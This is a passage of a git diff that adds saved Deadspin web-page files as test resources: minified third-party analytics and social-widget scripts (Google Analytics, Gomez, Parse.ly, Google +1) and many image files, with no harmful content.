+c.add("utmt","event"),xe(a,c),ve(a,c),we(a,c),b||(ue(a,c),te(a,c)),c=[c[w]()];else if("var"==c)c=new qe,re(a,b),se(a,c),c.add("utmt","var"),!b&&te(a,c),c=[c[w]()];else if("trans"==c)for(var c=[],d=a.get(Cb),e=0;e<d[x];++e){c[p](ye(a,d[e],b));for(var f=d[e].items_,k=0;k<f[x];++k)c[p](ze(a,f[k],b))}else"social"==c?b?c=[]:(c=new qe,re(a,b),se(a,c),c.add("utmt","social"),c.add("utmsn",a.get(Ac),h),c.add("utmsa",a.get(Bc),h),c.add("utmsid",a.get(Cc),h),xe(a,c),ve(a,c),we(a,c),ue(a,c),te(a,c), [...]
+"feedback"==c?b?c=[]:(c=new qe,re(a,b),se(a,c),c.add("utmt","feedback"),c.add("utmfbid",a.get(Gc),h),c.add("utmfbpr",a.get(Hc),h),xe(a,c),ve(a,c),we(a,c),ue(a,c),te(a,c),c=[c[w]()]):c=[];return c},oe=function(a){var b,c=a.get(xb),d=a.get(uc),e=d&&d.Ua,f=0;if(0==c||2==c){var k=a.get(wb)+"?";b=Ae(a,h);for(var m=0,t=b[x];m<t;m++)Sa(b[m],e,k,h),f++}if(1==c||2==c){b=Ae(a);m=0;for(t=b[x];m<t;m++)try{Sa(b[m],e),f++}catch(u){u&&Ra(u[s],g,u.message)}}d&&(d.q=f)};var Be=function(){return"https:"== [...]
+![].reduce)throw new De(a[x]);var m;b=Be()+"/p/__utm.gif";if(c=W.XDomainRequest)m=new c,m.open("POST",b);else if(c=W.XMLHttpRequest)c=new c,"withCredentials"in c&&(m=c,m.open("POST",b,h),m.setRequestHeader("Content-Type","text/plain"));m?(m.onreadystatechange=function(){4==m.readyState&&(k(),m=j)},m.send(a),b=h):b=g;b||Ee(a,k)}else throw new Ce(a[x]);},Ee=function(a,b){if(K.body){a=aa(a);try{var c=K[pa]('<iframe name="'+a+'"></iframe>')}catch(d){c=K[pa]("iframe"),ea(c,a)}c.height="0";c.w [...]
+c.style.display="none";c.style.visibility="hidden";var e=K[A],e=Be()+"/u/post_iframe.html#"+aa(e[B]+"//"+e[v]+"/favicon.ico"),f=function(){c.src="";c.parentNode&&c.parentNode.removeChild(c)};Fa(W,"beforeunload",f);var k=l,m=0,t=function(){if(!k){try{if(9<m||c.contentWindow[A][v]==K[A][v]){k=h;f();Ga(W,"beforeunload",f);b();return}}catch(a){}m++;ca(t,200)}};Fa(c,"load",t);K.body.appendChild(c);c.src=e}else ca(function(){Ee(a,b)},100)};var $=function(){this.G=this.w=l;this.C={};this.D=[];t [...]
+ib,53,1);Qc("_getDetectTitle",lb,56,1);Qc("_getDetectFlash",jb,65,1);Qc("_getLocalGifPath",wb,57);Qc("_getServiceMode",xb,59);V("_setClientInfo",ib,66,2);V("_setAccount",Wa,3);V("_setNamespace",Ya,48);V("_setAllowLinker",fb,11,2);V("_setDetectFlash",jb,61,2);V("_setDetectTitle",lb,62,2);V("_setLocalGifPath",wb,46,0);V("_setLocalServerMode",xb,92,g,0);V("_setRemoteServerMode",xb,63,g,1);V("_setLocalRemoteServerMode",xb,47,g,2);V("_setSampleRate",vb,45,1);V("_setCampaignTrack",kb,36,2);V(" [...]
+gb,7,2);V("_setCampNameKey",ob,41);V("_setCampContentKey",tb,38);V("_setCampIdKey",nb,39);V("_setCampMediumKey",rb,40);V("_setCampNOKey",ub,42);V("_setCampSourceKey",qb,43);V("_setCampTermKey",sb,44);V("_setCampCIdKey",pb,37);V("_setCookiePath",P,9,0);V("_setMaxCustomVariables",yb,0,1);V("_setVisitorCookieTimeout",cb,28,1);V("_setSessionCookieTimeout",db,26,1);V("_setCampaignCookieTimeout",eb,29,1);V("_setReferrerOverride",Jb,49);V("_setSiteSpeedSampleRate",Dc,132);a("_trackPageview",U[y [...]
+U[y].F,4);a("_trackPageLoadTime",U[y].Ea,100);a("_trackSocial",U[y].Ga,104);a("_trackTrans",U[y].Ia,18);a("_sendXEvent",U[y].t,78);a("_createEventTracker",U[y].ia,74);a("_getVersion",U[y].qa,60);a("_setDomainName",U[y].B,6);a("_setAllowHash",U[y].va,8);a("_getLinkerUrl",U[y].na,52);a("_link",U[y].link,101);a("_linkByPost",U[y].ua,102);a("_setTrans",U[y].za,20);a("_addTrans",U[y].$,21);a("_addItem",U[y].Y,19);a("_clearTrans",U[y].ea,105);a("_setTransactionDelim",U[y].Aa,82);a("_setCustomV [...]
+10);a("_deleteCustomVar",U[y].ka,35);a("_getVisitorCustomVar",U[y].ra,50);a("_setXKey",U[y].Ca,83);a("_setXValue",U[y].Da,84);a("_getXKey",U[y].sa,76);a("_getXValue",U[y].ta,77);a("_clearXKey",U[y].fa,72);a("_clearXValue",U[y].ga,73);a("_createXObj",U[y].ja,75);a("_addIgnoredOrganic",U[y].W,15);a("_clearIgnoredOrganic",U[y].ba,97);a("_addIgnoredRef",U[y].X,31);a("_clearIgnoredRef",U[y].ca,32);a("_addOrganic",U[y].Z,14);a("_clearOrganic",U[y].da,70);a("_cookiePathCopy",U[y].ha,30);a("_get [...]
+106);a("_set",U[y].xa,107);a("_addEventListener",U[y].addEventListener,108);a("_removeEventListener",U[y].removeEventListener,109);a("_addDevId",U[y].V);a("_getPlugin",Pc,122);a("_setPageGroup",U[y].ya,126);a("_trackTiming",U[y].Ha,124);a("_initData",U[y].v,2);a("_setVar",U[y].Ba,22);V("_setSessionTimeout",db,27,3);V("_setCookieTimeout",eb,25,3);V("_setCookiePersistence",cb,24,1);a("_setAutoTrackOutbound",Ea,79);a("_setTrackOutboundSubdomains",Ea,81);a("_setHrefExamineLimit",Ea,80)};F=$[y];
+F.oa=function(a,b){return this.r(a,g,b)};F.r=function(a,b,c){b&&I(23);c&&I(67);b==g&&(b="~"+M.U++);a=new U(b,a,c);M.C[b]=a;M.D[p](a);return a};F.u=function(a){a=a||"";return M.C[a]||M.r(g,a)};F.pa=function(){return M.D[ia](0)};F.aa=function(){this.w=h};F.la=function(){this.G=h};var Fe=function(a){if("prerender"==K.webkitVisibilityState)return l;a();return h};var M=new $;var Ge=W._gat;Ge&&Aa(Ge._getTracker)?M=Ge:W._gat=M;var Z=new Y;var He=function(){var a=W._gaq,b=l;if(a&&Aa(a[p])&&(b="[ [...]
diff --git a/src/test/resources/s/deadspin_files/gawker.png b/src/test/resources/s/deadspin_files/gawker.png
new file mode 100644
index 0000000..b841f88
Binary files /dev/null and b/src/test/resources/s/deadspin_files/gawker.png differ
diff --git a/src/test/resources/s/deadspin_files/gizmodo.png b/src/test/resources/s/deadspin_files/gizmodo.png
new file mode 100644
index 0000000..d1d6c40
Binary files /dev/null and b/src/test/resources/s/deadspin_files/gizmodo.png differ
diff --git a/src/test/resources/s/deadspin_files/gomez.js b/src/test/resources/s/deadspin_files/gomez.js
new file mode 100644
index 0000000..74b7361
--- /dev/null
+++ b/src/test/resources/s/deadspin_files/gomez.js
@@ -0,0 +1 @@
+var gomez=gomez?gomez:{};gomez.h3=function(d, s){for(var p in s){d[p]=s[p];}return d;};gomez.h3(gomez,{b3:function(r){if(r<=0)return false;return Math.random()<=r&&r;},b0:function(n){var c=document.cookie;var v=c.match(new RegExp(';[ ]*'+n+'=([^;]*)'));if(!v)v=c.match(new RegExp(n+'=([^;]*)'));if(v)return unescape(v[1]);return '';},c2:function(n,v,e,p,d,s){try{var t=this,a=location.hostname;var c=n+'='+escape(v)+(e?';expires='+e.toGMTString():'')+(p?';path='+p:';path=/')+(d?';domain='+d: [...]
diff --git a/src/test/resources/s/deadspin_files/icon-gallery.png b/src/test/resources/s/deadspin_files/icon-gallery.png
new file mode 100644
index 0000000..97653c2
Binary files /dev/null and b/src/test/resources/s/deadspin_files/icon-gallery.png differ
diff --git a/src/test/resources/s/deadspin_files/icon-question.png b/src/test/resources/s/deadspin_files/icon-question.png
new file mode 100644
index 0000000..e90523b
Binary files /dev/null and b/src/test/resources/s/deadspin_files/icon-question.png differ
diff --git a/src/test/resources/s/deadspin_files/icon-video.png b/src/test/resources/s/deadspin_files/icon-video.png
new file mode 100644
index 0000000..ab011bd
Binary files /dev/null and b/src/test/resources/s/deadspin_files/icon-video.png differ
diff --git a/src/test/resources/s/deadspin_files/io9.png b/src/test/resources/s/deadspin_files/io9.png
new file mode 100644
index 0000000..54fe68f
Binary files /dev/null and b/src/test/resources/s/deadspin_files/io9.png differ
diff --git a/src/test/resources/s/deadspin_files/jalopnik.png b/src/test/resources/s/deadspin_files/jalopnik.png
new file mode 100644
index 0000000..02b256d
Binary files /dev/null and b/src/test/resources/s/deadspin_files/jalopnik.png differ
diff --git a/src/test/resources/s/deadspin_files/jezebel.png b/src/test/resources/s/deadspin_files/jezebel.png
new file mode 100644
index 0000000..5ac35fb
Binary files /dev/null and b/src/test/resources/s/deadspin_files/jezebel.png differ
diff --git a/src/test/resources/s/deadspin_files/kotaku.png b/src/test/resources/s/deadspin_files/kotaku.png
new file mode 100644
index 0000000..b5f7514
Binary files /dev/null and b/src/test/resources/s/deadspin_files/kotaku.png differ
diff --git a/src/test/resources/s/deadspin_files/lifehacker.png b/src/test/resources/s/deadspin_files/lifehacker.png
new file mode 100644
index 0000000..a795989
Binary files /dev/null and b/src/test/resources/s/deadspin_files/lifehacker.png differ
diff --git a/src/test/resources/s/deadspin_files/medium.jpg b/src/test/resources/s/deadspin_files/medium.jpg
new file mode 100644
index 0000000..b244f27
Binary files /dev/null and b/src/test/resources/s/deadspin_files/medium.jpg differ
diff --git a/src/test/resources/s/deadspin_files/medium_169(1).jpg b/src/test/resources/s/deadspin_files/medium_169(1).jpg
new file mode 100644
index 0000000..afbf4a8
Binary files /dev/null and b/src/test/resources/s/deadspin_files/medium_169(1).jpg differ
diff --git a/src/test/resources/s/deadspin_files/medium_169.jpg b/src/test/resources/s/deadspin_files/medium_169.jpg
new file mode 100644
index 0000000..5a3bffc
Binary files /dev/null and b/src/test/resources/s/deadspin_files/medium_169.jpg differ
diff --git a/src/test/resources/s/deadspin_files/micro(1).jpg b/src/test/resources/s/deadspin_files/micro(1).jpg
new file mode 100644
index 0000000..14b808b
Binary files /dev/null and b/src/test/resources/s/deadspin_files/micro(1).jpg differ
diff --git a/src/test/resources/s/deadspin_files/micro(10).jpg b/src/test/resources/s/deadspin_files/micro(10).jpg
new file mode 100644
index 0000000..8d1d18f
Binary files /dev/null and b/src/test/resources/s/deadspin_files/micro(10).jpg differ
diff --git a/src/test/resources/s/deadspin_files/micro(2).jpg b/src/test/resources/s/deadspin_files/micro(2).jpg
new file mode 100644
index 0000000..68baa41
Binary files /dev/null and b/src/test/resources/s/deadspin_files/micro(2).jpg differ
diff --git a/src/test/resources/s/deadspin_files/micro(3).jpg b/src/test/resources/s/deadspin_files/micro(3).jpg
new file mode 100644
index 0000000..cbcaddb
Binary files /dev/null and b/src/test/resources/s/deadspin_files/micro(3).jpg differ
diff --git a/src/test/resources/s/deadspin_files/micro(4).jpg b/src/test/resources/s/deadspin_files/micro(4).jpg
new file mode 100644
index 0000000..ff7184b
Binary files /dev/null and b/src/test/resources/s/deadspin_files/micro(4).jpg differ
diff --git a/src/test/resources/s/deadspin_files/micro(5).jpg b/src/test/resources/s/deadspin_files/micro(5).jpg
new file mode 100644
index 0000000..8c3df8c
Binary files /dev/null and b/src/test/resources/s/deadspin_files/micro(5).jpg differ
diff --git a/src/test/resources/s/deadspin_files/micro(6).jpg b/src/test/resources/s/deadspin_files/micro(6).jpg
new file mode 100644
index 0000000..dd03ce7
Binary files /dev/null and b/src/test/resources/s/deadspin_files/micro(6).jpg differ
diff --git a/src/test/resources/s/deadspin_files/micro(7).jpg b/src/test/resources/s/deadspin_files/micro(7).jpg
new file mode 100644
index 0000000..b360189
Binary files /dev/null and b/src/test/resources/s/deadspin_files/micro(7).jpg differ
diff --git a/src/test/resources/s/deadspin_files/micro(8).jpg b/src/test/resources/s/deadspin_files/micro(8).jpg
new file mode 100644
index 0000000..d9b80be
Binary files /dev/null and b/src/test/resources/s/deadspin_files/micro(8).jpg differ
diff --git a/src/test/resources/s/deadspin_files/micro(9).jpg b/src/test/resources/s/deadspin_files/micro(9).jpg
new file mode 100644
index 0000000..10af392
Binary files /dev/null and b/src/test/resources/s/deadspin_files/micro(9).jpg differ
diff --git a/src/test/resources/s/deadspin_files/micro.jpg b/src/test/resources/s/deadspin_files/micro.jpg
new file mode 100644
index 0000000..e1837c3
Binary files /dev/null and b/src/test/resources/s/deadspin_files/micro.jpg differ
diff --git a/src/test/resources/s/deadspin_files/oauth-facebook.png b/src/test/resources/s/deadspin_files/oauth-facebook.png
new file mode 100644
index 0000000..5c71512
Binary files /dev/null and b/src/test/resources/s/deadspin_files/oauth-facebook.png differ
diff --git a/src/test/resources/s/deadspin_files/oauth-twitter.png b/src/test/resources/s/deadspin_files/oauth-twitter.png
new file mode 100644
index 0000000..367e7e4
Binary files /dev/null and b/src/test/resources/s/deadspin_files/oauth-twitter.png differ
diff --git a/src/test/resources/s/deadspin_files/p.js b/src/test/resources/s/deadspin_files/p.js
new file mode 100644
index 0000000..06bb2fa
--- /dev/null
+++ b/src/test/resources/s/deadspin_files/p.js
@@ -0,0 +1,4 @@
+/*! parsely-js-api - v0.2.0 - 2012-08-27
+* http://parse.ly
+2012 Parsely, Inc.*/
+window.PARSELY=window.PARSELY||{},function(a){function q(a){return Object.prototype.toString.call(a)=="[object Function]"}function r(a){return Object.prototype.toString.call(a)=="[object Array]"}function s(a,b){var c=/^\w+\:\/\//;return/^\/\/\/?/.test(a)?a=location.protocol+a:!c.test(a)&&a.charAt(0)!="/"&&(a=(b||"")+a),c.test(a)?a:(a.charAt(0)=="/"?i:h)+a}function t(a,b){for(var c in a)a.hasOwnProperty(c)&&(b[c]=a[c]);return b}function u(a){var b=!1;for(var c=0;c<a.scripts.length;c++)a.s [...]
\ No newline at end of file
diff --git a/src/test/resources/s/deadspin_files/plusone.js b/src/test/resources/s/deadspin_files/plusone.js
new file mode 100644
index 0000000..8bbd2d1
--- /dev/null
+++ b/src/test/resources/s/deadspin_files/plusone.js
@@ -0,0 +1,27 @@
+var gapi=window.gapi=window.gapi||{};gapi._bs=new Date().getTime();(function(){var l=void 0,p=!0,q=null,s=!1,aa=encodeURIComponent,t=window,ba=Object,u=document,v=String,ca=decodeURIComponent;function da(a,b){return a.type=b}
+var ea="appendChild",w="push",x="test",fa="exec",z="replace",ga="getElementById",A="concat",ha="JSON",B="indexOf",ia="match",ja="readyState",D="createElement",E="setAttribute",ka="getTime",la="getElementsByTagName",F="length",G="split",H="location",I="style",ma="removeChild",na="call",J="getAttribute",K="href",oa="action",L="apply",pa="attributes",M="parentNode",N="join",O="toLowerCase";var P=t,Q=u,qa=P[H],ra=function(){},sa=/\[native code\]/,R=function(a,b,c){return a[b]=a[b]||c},ta=fun [...]
+var b=[],c;for(c in a)T(a,c)&&b[w](c);return b},W=function(a,b){a=a||{};for(var c in a)T(a,c)&&(b[c]=a[c])},Ba=function(a,b){if(!a)throw Error(b||"");},X=R(P,"gapi",{});var Ca=function(a,b,c){var e=RegExp("([#].*&|[#])"+b+"=([^&#]*)","g");b=RegExp("([?#].*&|[?#])"+b+"=([^&#]*)","g");if(a=a&&(e[fa](a)||b[fa](a)))try{c=ca(a[2])}catch(d){}return c},Da=/^([^?#]*)(\?([^#]*))?(\#(.*))?$/,Ea=function(a){a=a[ia](Da);var b=S();b.k=a[1];b.c=a[3]?[a[3]]:[];b.g=a[5]?[a[5]]:[];return b},Fa=function(a [...]
+b,c){a=Ea(a);a.c[w][L](a.c,Ga(b));a.g[w][L](a.g,Ga(c));return Fa(a)};var Ia=function(a,b,c){if(P[b+"EventListener"])P[b+"EventListener"]("message",a,s);else if(P[c+"tachEvent"])P[c+"tachEvent"]("onmessage",a)},Ja={button:p,div:p,span:p};var Y;Y=R(P,"___jsl",S());R(Y,"I",0);R(Y,"hel",10);var Ka=function(a){return!Y.dpo?Ca(a,"jsh",Y.h):Y.h},La=function(a){return R(R(Y,"H",S()),a,S())};var Ma=R(Y,"perf",S()),Oa=R(Ma,"g",S()),Pa=R(Ma,"i",S());R(Ma,"r",[]);S();S();var Qa=function(a,b,c){var e [...]
+var Xa=function(a){return a[N](",")[z](/\./g,"_")[z](/-/g,"_")},Ya=function(a,b){for(var c=[],e=0;e<a[F];++e){var d=a[e];d&&0>ta[na](b,d)&&c[w](d)}return c},Za=/^[\/_a-zA-Z0-9,.\-!:=]+$/,$a=/^https?:\/\/[^\/\?#]+\.google\.com(:\d+)?\/[^\?#]+$/,ab=/\/cb=/g,bb=/\/\//g,cb=function(a){var b=Q[D](Wa);b[E]("src",a);b.async="true";(a=Q[la](Wa)[0])?a[M].insertBefore(b,a):(Q.head||Q.body||Q.documentElement)[ea](b)},eb=function(a,b){var c=b||{};"function"==typeof b&&(c={},c[Z.b]=b);var e=c,d=e&&e[ [...]
+0;g<Va[F];g++){var j=Va[g][0],h=Va[g][1];h&&T(d,j)&&h(d[j],a,e)}e=a?a[G](":"):[];if(!(d=c[Z.i]))if(d=Ka(qa[K]),!d)throw"Bad hint";g=d;j=R(Y,"ah",S());if(!j["::"]||!e[F])db(e||[],c,g);else{d=[];for(h=q;h=e.shift();){var f=h[G]("."),f=j[h]||j[f[1]&&"ns:"+f[0]||""]||g,i=d[F]&&d[d[F]-1]||q,m=i;if(!i||i.hint!=f)m={hint:f,j:[]},d[w](m);m.j[w](h)}var C=d[F];if(1<C){var k=c[Z.b];k&&(c[Z.b]=function(){0==--C&&k()})}for(;e=d.shift();)db(e.j,c,e.hint)}},db=function(a,b,c){var e=a.sort();a=[];for(va [...]
+e[F];g++){var j=e[g];j!=d&&a[w](j);d=j}a=a||[];var h=b[Z.b],f=b[Z.n],d=b[Z.TIMEOUT],i=b[Z.o],m=q,C=s;if(d&&!i||!d&&i)throw"Timeout requires both the timeout parameter and ontimeout parameter to be set";var e=R(La(c),"r",[]).sort(),k=R(La(c),"L",[]).sort(),n=[][A](e),r=function(a,b){if(C)return 0;P.clearTimeout(m);k[w][L](k,y);var d=((X||{}).config||{}).update;d?d(f):f&&R(Y,"cu",[])[w](f);if(b){Ta("me0",a,n);try{fb(function(){var a;a=c===Ka(qa[K])?R(X,"_",S()):S();a=R(La(c),"_",a);b(a)})} [...]
+a,n)}}h&&h();return 1};0<d&&(m=P.setTimeout(function(){C=p;i()},d));var y=Ya(a,k);if(y[F]){var y=Ya(a,e),U=R(Y,"CP",[]),V=U[F];U[V]=function(a){if(!a)return 0;Ta("ml1",y,n);var b=function(){U[V]=q;return r(y,a)};if(0<V&&U[V-1])U[V]=b;else for(b();(b=U[++V])&&b(););};if(y[F]){var Na="loaded_"+Y.I++;X[Na]=function(a){U[V](a);X[Na]=q};a=c[G](";");a=(d=Ua[a.shift()])&&d(a);if(!a)throw"Bad hint:"+c;d=a=a[z]("__features__",Xa(y))[z](/\/$/,"")+(e[F]?"/ed=1/exm="+Xa(e):"")+("/cb=gapi."+Na);g=d[i [...]
+d[ia](ab);if(!j||!(1===j[F]&&$a[x](d)&&Za[x](d)&&g&&1===g[F]))throw"Bad URL "+a;e[w][L](e,y);Ta("ml0",y,n);b[Z.p]||P.___gapisync?(b=a,"loading"!=Q[ja]?cb(b):Q.write("<"+Wa+' src="'+encodeURI(b)+'"></'+Wa+">")):cb(a)}else U[V](ra)}else r(y)};var fb=function(a){if(Y.hee&&0<Y.hel)try{return a()}catch(b){Y.hel--,eb("debug_error",function(){t.___jsl.hefn(b)})}else return a()};X.load=function(a,b){return fb(function(){return eb(a,b)})};var gb=function(a){var b=t.___jsl=t.___jsl||{};b[a]=b[a]|| [...]
+1);)a=a.substring(0,a[F]-1);var b;try{b=t[ha].parse(a)}catch(c){}if("object"===typeof b)return b;try{b=(new Function("return ("+a+"\n)"))()}catch(e){}if("object"===typeof b)return b;try{b=(new Function("return ({"+a+"\n})"))()}catch(d){}return"object"===typeof b?b:{}}},$=function(a){if(!a)return hb();a=a[G]("/");for(var b=hb(),c=0,e=a[F];b&&"object"===typeof b&&c<e;++c)b=b[a[c]];return c===a[F]&&b!==l?b:l};var lb=R(Y,"rw",S()),mb=function(a,b){var c=lb[a];c&&c.state<b&&(c.state=b)};var n [...]
+'"/>')}catch(f){g=a[D]("iframe"),j&&(g.onload=function(){g.onload=q;j[na](this)},pb().r(e))}for(var i in c)a=c[i],"style"===i&&"object"===typeof a?W(a,g[I]):rb[i]||g[E](i,v(a));if(!d||!d.dontclear)for(;b.firstChild;)b[ma](b.firstChild);b[ea](g);g=b.lastChild;c.allowtransparency&&(g.allowTransparency=p);return g};var ub=/:([a-zA-Z_]+):/g,vb={style:"position:absolute;top:-10000px;width:300px;margin:0px;borderStyle:none"},wb="onPlusOne _ready _close,_open _resizeMe _renderstart oncircled".s [...]
+session_index:e,session_prefix:d!==l&&d!==q&&""!==d?"u/"+d+"/":"",im_prefix:$("googleapis.config/signedIn")===s?"_/im/":""}}return xb[b]||""},Bb=["style","data-gapiscan"],Cb=function(a){var b=l;"number"===typeof a?b=a:"string"===typeof a&&(b=parseInt(a,10));return b},Db=function(){};var Eb,Fb,Gb,Hb,Ib,Jb=/(?:^|\s)g-((\S)*)(?:$|\s)/;Eb=R(Y,"SW",S());Fb=R(Y,"SA",S());Gb=R(Y,"SM",S());Hb=R(Y,"FW",[]);Ib=q;
+var Lb=function(a,b){Kb(l,s,a,b)},Kb=function(a,b,c,e){Ra("ps0",p);c=("string"===typeof c?u[ga](c):c)||Q;var d;d=Q.documentMode;if(c.querySelectorAll&&(!d||8<d)){d=e?[e]:Aa(Eb)[A](Aa(Fb))[A](Aa(Gb));for(var g=[],j=0;j<d[F];j++){var h=d[j];g[w](".g-"+h,"g\\:"+h)}d=c.querySelectorAll(g[N](","))}else d=c[la]("*");c=S();for(g=0;g<d[F];g++){j=d[g];var f=j,h=e,i=f.nodeName[O](),m=l;f[J]("data-gapiscan")?h=q:(0==i[B]("g:")?m=i.substr(2):(f=(f=v(f.className||f[J]("class")))&&Jb[fa](f))&&(m=f[1]) [...]
+Fb[m]||Gb[m])&&(!h||m===h)?m:q);h&&(j[E]("data-gapiscan",p),R(c,h,[])[w](j))}if(b)for(var C in c){b=c[C];for(e=0;e<b[F];e++)b[e][E]("data-onload",p)}for(var k in c)Hb[w](k);Ra("ps1",p);((C=Hb[N](":"))||a)&&X.load(C,a);if(Mb(Ib||{}))for(var n in c){a=c[n];k=0;for(b=a[F];k<b;k++)a[k].removeAttribute("data-gapiscan");Nb(n)}else{e=[];for(n in c){a=c[n];k=0;for(b=a[F];k<b;k++){j=a[k];d=n;h=g=j;j=S();m=0!=h.nodeName[O]()[B]("g:");f=0;for(i=h[pa][F];f<i;f++){var r=h[pa][f],y=r.name,r=r.value;0< [...]
+y)||(m&&0!=y[B]("data-")||"null"===r)||(m&&(y=y.substr(5)),j[y[O]()]=r)}m=j;h=h[I];(f=Cb(h&&h.height))&&(m.height=v(f));(h=Cb(h&&h.width))&&(m.width=v(h));Ob(d,g,j,e,b)}}Pb(C,e)}},Qb=function(a){var b=R(X,a,{});b.go||(b.go=function(b){return Lb(b,a)},b.render=function(b,e){var d=e||{};da(d,a);var g=d.type;delete d.type;var j=("string"===typeof b?u[ga](b):b)||l,h={},f;for(f in d)T(d,f)&&(h[f[O]()]=d[f]);h.rd=1;d=[];Ob(g,j,h,d,0);Pb(g,d)})},Rb=function(a){Eb[a]=p},Sb=function(a){Fb[a]=p},T [...]
+p};var Nb=function(a,b){var c=R(Y,"watt",S())[a];b&&c?(c(b),(c=b.iframeNode)&&c[E]("data-gapiattached",p)):X.load(a,function(){var c=R(Y,"watt",S())[a],d=b&&b.iframeNode;!d||!c?(0,X[a].go)(d&&d[M]):(c(b),d[E]("data-gapiattached",p))})},Mb=function(){return s},Pb=function(){},Ob=function(a,b,c,e,d){switch(Ub(b,a)){case 0:a=Gb[a]?a+"_annotation":a;e={};e.iframeNode=b;e.userParams=c;Nb(a,e);break;case 1:if(b[M]){var g=p;c.dontclear&&(g=s);delete c.dontclear;var j,h,f;h=f=a;"plus"==a&&c[oa]& [...]
+h=a+"/"+c[oa]);(f=$("iframes/"+f+"/url"))||(f=":socialhost:/_/widget/render/"+h);h=f[z](ub,Ab);f={};W(c,f);f.hl=$("lang")||"en-US";f.origin=t[H].origin||t[H].protocol+"//"+t[H].host;f.exp=$("iframes/"+a+"/params/exp");var i=$("iframes/"+a+"/params/location");if(i)for(var m=0;m<i[F];m++){var C=i[m];f[C]=P[H][C]}switch(a){case "plus":i=f[K];m=c[oa]?l:"publisher";i=(i="string"==typeof i?i:l)?nb(i):ob(m);f.url=i;delete f[K];break;case "plusone":case "recobox":f.url=c[K]?nb(c[K]):ob();i=c.db; [...]
+q&&m&&(i=m.db,i==q&&(i=m.gwidget&&m.gwidget.db));f.db=i||l;i=c.ecp;m=$();i==q&&m&&(i=m.ecp,i==q&&(i=m.gwidget&&m.gwidget.ecp));f.ecp=i||l;delete f[K];break;case "signin":f.url=ob()}f.hl=$("lang")||"en-US";Y.ILI&&(f.iloader="1");delete f["data-onload"];delete f.rd;f.gsrc=$("iframes/:source:");i=$("inline/css");"undefined"!==typeof i&&(0<d&&i>=d)&&(f.ic="1");i=/^#|^fr-/;d={};for(var k in f)T(f,k)&&i[x](k)&&(d[k[z](i,"")]=f[k],delete f[k]);k=[][A](wb);i=$("iframes/"+a+"/methods");"object"== [...]
+sa[x](i[w])&&(k=k[A](i));for(j in c)if(T(c,j)&&/^on/[x](j)&&("plus"!=a||"onconnect"!=j))k[w](j),delete f[j];delete f.callback;d._methods=k[N](",");j=Ha(h,f,d);c.rd?k=b:(k=u[D]("div"),b[E]("data-gapistub",p),k[I].cssText="position:absolute;width:100px;left:-10000px;",b[M].insertBefore(k,b));k.id||(b=k,R(yb,a,0),h="___"+a+"_"+yb[a]++,b.id=h);b=S();b[">type"]=a;W(c,b);k[E]("data-gwattr",Ga(b)[N](":"));b=k;k={allowPost:1,attributes:vb};k.dontclear=!g;var n;h=k||{};g=h[pa]||{};Ba(!h.allowPost [...]
+"onload is not supported by post iframe");h.rpctoken||(h.rpctoken=q);g=b.ownerDocument||Q;f=0;do k=h.id||["I",sb++,"_",(new Date)[ka]()][N]("");while(g[ga](k)&&5>++f);Ba(5>f,"Error creating iframe id");d=g[H][K];f=S();(i=Ca(d,"_bsh",Y.bsh))&&(f._bsh=i);(d=Ka(d))&&(f.jsh=d);d=S();d.id=k;d.parent=g[H].protocol+"//"+g[H].host;i=Ca(g[H][K],"id","");m=Ca(g[H][K],"pfname","");(i=i?m+"/"+i:"")&&(d.pfname=i);h.rpctoken&&(d.rpctoken=h.rpctoken);h.hintInFragment?W(f,d):n=f;f=Ha(j,n,d);n=S();W(qb,n [...]
+n);n.name=n.id=k;n.src=f;var r;if((h||{}).allowPost&&2E3<f[F]){f=Ea(f);n.src="";n["data-postorigin"]=f.k;n=tb(g,b,n,k);-1!=navigator.userAgent[B]("WebKit")&&(r=n.contentWindow.document,r.open(),d=r[D]("div"),i={},m=k+"_inner",i.name=m,i.src="",i.style="display:none",tb(g,d,i,m,h));d=(h=f.c[0])?h[G]("&"):[];h=[];for(i=0;i<d[F];i++)m=d[i][G]("=",2),h[w]([ca(m[0]),ca(m[1])]);f.c=[];d=Fa(f);f=g[D]("form");f.action=d;f.method="POST";f.target=k;f[I].display="none";for(k=0;k<h[F];k++)d=g[D]("in [...]
+"hidden"),d.name=h[k][0],d.value=h[k][1],f[ea](d);b[ea](f);f.submit();f[M][ma](f);r&&r.close();r=n}else r=tb(g,b,n,k,h);n=r;r={};r.userParams=c;r.url=j;da(r,a);r.iframeNode=n;r.id=n[J]("id");c=r.id;n=S();n.id=c;n.userParams=r.userParams;n.url=r.url;da(n,r.type);n.state=1;lb[c]=n;c=r}else c=q;c&&((r=c.id)&&e[w](r),Nb(a,c))}},Ub=function(a,b){if(a&&1===a.nodeType&&b)if(Gb[b]){if(Ja[a.nodeName[O]()]){var c=a.innerHTML;return c&&c[z](/^[\s\xa0]+|[\s\xa0]+$/g,"")?0:1}}else{if(Fb[b])return 0;i [...]
+Va[w]([Z.q,function(a,b,c){Ib=c;b&&Hb[w](b);Wb(Rb,a);Wb(Sb,c[Z.d].annotation);Wb(Tb,c[Z.d].bimodal);if(b=t.__GOOGLEAPIS)b.googleapis&&!b["googleapis.config"]&&(b["googleapis.config"]=b.googleapis),R(Y,"ci",[])[w](b),t.__GOOGLEAPIS=l;hb(p);var e=t.___gcfg;b=gb("cu");if(e&&e!==t.___gu){var d={};jb(d,e);b[w](d);t.___gu=e}var e=gb("cu"),g=u.scripts||u[la]("script")||[],d=[],j=[];j[w][L](j,gb("us"));for(var h=0;h<g[F];++h)for(var f=g[h],i=0;i<j[F];++i)f.src&&0==f.src[B](j[i])&&d[w](f);0==d[F] [...]
+g[g[F]-1].src)&&d[w](g[g[F]-1]);for(g=0;g<d[F];++g)d[g][J]("gapi_processed")||(d[g][E]("gapi_processed",p),(j=d[g])?(h=j.nodeType,j=3==h||4==h?j.nodeValue:j.textContent||j.innerText||j.innerHTML||""):j=l,(j=kb(j))&&e[w](j));g=gb("cd");e=0;for(d=g[F];e<d;++e)jb(hb(),g[e]);g=gb("ci");e=0;for(d=g[F];e<d;++e)jb(hb(),g[e]);e=0;for(d=b[F];e<d;++e)jb(hb(),b[e]);if("explicit"!=$("parsetags")){b=R(Y,"sws",[]);b[w][L](b,a);var m;if(c){var C=c[Z.b];C&&(m=function(){P.setTimeout(C,0)},delete c[Z.b]) [...]
